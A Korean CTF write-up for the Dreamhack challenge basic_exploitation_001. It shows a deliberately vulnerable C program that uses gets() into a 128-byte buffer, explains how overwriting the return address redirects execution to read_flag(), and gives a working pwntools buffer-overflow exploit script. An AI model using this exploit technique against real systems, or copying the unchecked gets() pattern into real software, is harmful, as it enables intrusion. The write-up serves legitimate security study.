본 문제는 Dreamhack을 통해서 풀어 보실 수 있습니다.

해답을 이해하며 생각을 해보면서 풀이 해보시길 바랍니다.

문제 내용

문제는 dreamhack.io를 들어가시면 확인할 수 있습니다.

환경 정보를 보면 NX가 활성화되어 있는 것을 알 수 있다. 그렇다는 것을 Shellcode를 대입하더라도 스택 영역에 실행 권한이 없어 Shellcode를 실행하지 못하고 종료하게 된다. 주어진 파일을 확인해보겠습니다.

문제 풀이

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void read_flag() {
    system("cat /flag");
}

int main(int argc, char *argv[]) {

    char buf[0x80];
    initialize();
    gets(buf);
    return 0;
}

read_flag()함수가 flag를 읽어주는 함수로 되어 있다. 하지만 main에는 read_flag()를 실행할 곳이 없다. get()함수는 크기 상관없이 읽어드리기에 buf의 크기를 넘겨 RET에 read_flag() 위치를 대입하면 해결될 것으로 보인다.

buf[0x80] 위 빨간 네모칸을 통해서 총 128byte만큼 buf에 할당하고 그 위치를 gets()로 입력 받는다.

그리고 read_flag()의 함수 호출 위치를 알아낸다.

그렇다면 Buf(128byte) + SFP(4byte) + RET(read_flag()의 4byte)로 flag를 읽어올 수 있다.

from pwn import *

p = remote('host3.dreamhack.games', 22987)

elf = ELF('./basic_exploitation_001')
read_flag = elf.symbols['read_flag'] # 0x80485b9
payload = b''
#dummy = b'\x90' * 128
SFP = b'S' * 4

payload += payload.ljust(128, b'\x90')
#payload += dummy
payload += SFP
payload += p32(read_flag)

p.sendline(payload)
p.interactive()

이전 문제보다는 더욱 쉬운 느낌이였다. read_flag = elf.symbols['read_flag']처럼 직접 read_flag의 함수 주소를 명시하지 않고 pwntools를 이용해서 가져오는 것도 가능하다.